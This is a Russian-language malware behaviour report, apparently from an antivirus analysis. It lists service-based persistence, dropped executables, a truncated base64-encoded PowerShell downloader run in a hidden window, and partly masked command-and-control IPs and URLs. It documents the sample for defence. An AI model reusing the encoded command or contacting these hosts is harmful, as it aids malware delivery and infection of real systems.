Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\vccorlib110d] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\vccorlib110d] 'ImagePath' = '"<SYSTEM32>\aepic\vccorlib110d.exe"'
- 'vccorlib110d' "<SYSTEM32>\aepic\vccorlib110d.exe"
- 'vccorlib110d' <SYSTEM32>\aepic\vccorlib110d.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABCAG8AZgBvAGQAMgBtAD0AKAAnAFgAJwArACgAJwA3ACcAKwAnAGUAZgBjACcAKQArACcAdQBpACcAKQA7AC4AKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUAbgB2ADoAVQBzAGUAcgBQAFIATwBGAGkAbABFAFwAcgA3AGYAOABGAG...
- %HOMEPATH%\r7f8ffs\iroc_vk\gbj4dpe9b.exe
- <SYSTEM32>\aepic\vccorlib110d.exe
- %HOMEPATH%\r7f8ffs\iroc_vk\gbj4dpe9b.exe в <SYSTEM32>\aepic\vccorlib110d.exe
- '21#.#0.40.16':80
- '91.##1.54.71':8080
- http://it##2.com/wp-admin/S/
- http://91.###.54.71:8080/65zUroFwVMwa/wGngDHM/0wiDT6dJKSEFzJsz/59I8iEvCp/WTwBydy9LC/ via 91.##1.54.71
- DNS ASK it##2.com
- '%HOMEPATH%\r7f8ffs\iroc_vk\gbj4dpe9b.exe'
- '<SYSTEM32>\aepic\vccorlib110d.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABCAG8AZgBvAGQAMgBtAD0AKAAnAFgAJwArACgAJwA3ACcAKwAnAGUAZgBjACcAKQArACcAdQBpACcAKQA7AC4AKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUAbgB2ADoAVQBzAGUAcgBQAFIATwBGAGkAbABFAFwAcgA3AGYAOABGAG...' (со скрытым окном)